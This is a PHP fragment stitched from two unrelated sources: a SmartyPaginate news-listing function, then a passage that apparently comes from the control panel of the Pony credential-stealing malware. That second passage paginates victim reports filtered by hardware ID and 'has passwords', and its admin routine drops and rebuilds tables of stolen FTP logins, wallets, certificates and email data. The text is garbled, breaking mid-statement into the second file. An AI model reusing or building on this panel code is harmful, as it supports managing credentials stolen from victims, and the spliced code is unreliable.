<?php SmartyPaginate::connect(); // set items per page SmartyPaginate::setLimit(5); #set url for links SmartyPaginate::setUrl('./index.php?path=./main/news/tm0.news.display_news.php'); SmartyPaginate::setPrevText('PREV'); SmartyPaginate::setNextText('NEXT'); function getSearchResults(&$dbcon) { $X = SmartyPaginate::getCurrentIndex(); $Y = SmartyPaginate::getLimit(); $searchSQL = "SELECT * FROM sionapros_news WHERE 1 ORDER BY news_no DESC LIMIT {$X},{$Y}"; $result = $dbcon->execute($searchSQL); foreach ($result as $row) { // collect each record into $_data $data[] = $row; } // now we get the total number of records from the table $rowsSQL = "SELECT COUNT(*) FROM sionapros_news WHERE 1"; $dbcon->query($rowsSQL); #$rowNo = $rows[0]; SmartyPaginate::setTotal($dbcon->getValue()); $dbcon->free(); return $data; } $results = getSearchResults($db); if (sizeof($results) == 0) { $searchMsg = 'NO ARTICLES WERE FOUND'; $smarty->assign('searchMsg', $searchMsg);
if (strlen($filter_hwid)) { $filter .= '&filter_hwid=' . htmlspecialchars($filter_hwid, ENT_QUOTES, 'cp1251'); } if (strlen($filter_nonparsed)) { $filter .= '&filter_nonparsed=' . htmlspecialchars($filter_nonparsed, ENT_QUOTES, 'cp1251'); } elseif (strlen($filter_has_passwords)) { $filter .= '&filter_has_passwords=' . htmlspecialchars($filter_has_passwords, ENT_QUOTES, 'cp1251'); } SmartyPaginate::disconnect(); SmartyPaginate::connect(); SmartyPaginate::setURL($self_file . "?token=" . $token . "&action=reports" . $filter); SmartyPaginate::setTotal($total_items_count); SmartyPaginate::setLimit($max_results); SmartyPaginate::setPageLimit(50); SmartyPaginate::setPrevText($lang['Previous']); SmartyPaginate::setNextText($lang['Next']); SmartyPaginate::assign($smarty); smarty_assign_common_vars($smarty, $pony_db); $smarty->assign("report_list", $report_list); $smarty->display('report_list.tpl'); } } else { if ($admin_action == 'admin') { // --------------------------------------------------------------------------------------- // User management if ($admin_routine == 'rebuild_tables') { if ($pony_db->priv_is_admin()) { if ($pony_db->drop_table(CPONY_FTP_TABLE) && $pony_db->drop_table(CPONY_REPORT_TABLE) && $pony_db->drop_table(CPONY_REPORT_DATA_TABLE) && $pony_db->drop_table(CPONY_LOG_TABLE) && $pony_db->drop_table(CPONY_CERT_TABLE) && $pony_db->drop_table(CPONY_WALLET_TABLE) && $pony_db->drop_table(CPONY_EMAIL_TABLE) && $pony_db->drop_table(CPONY_DOMAINLIST_TABLE) && $pony_db->create_data_tables() && $pony_db->state) { show_smarty_success($smarty); } else { show_smarty_error($smarty);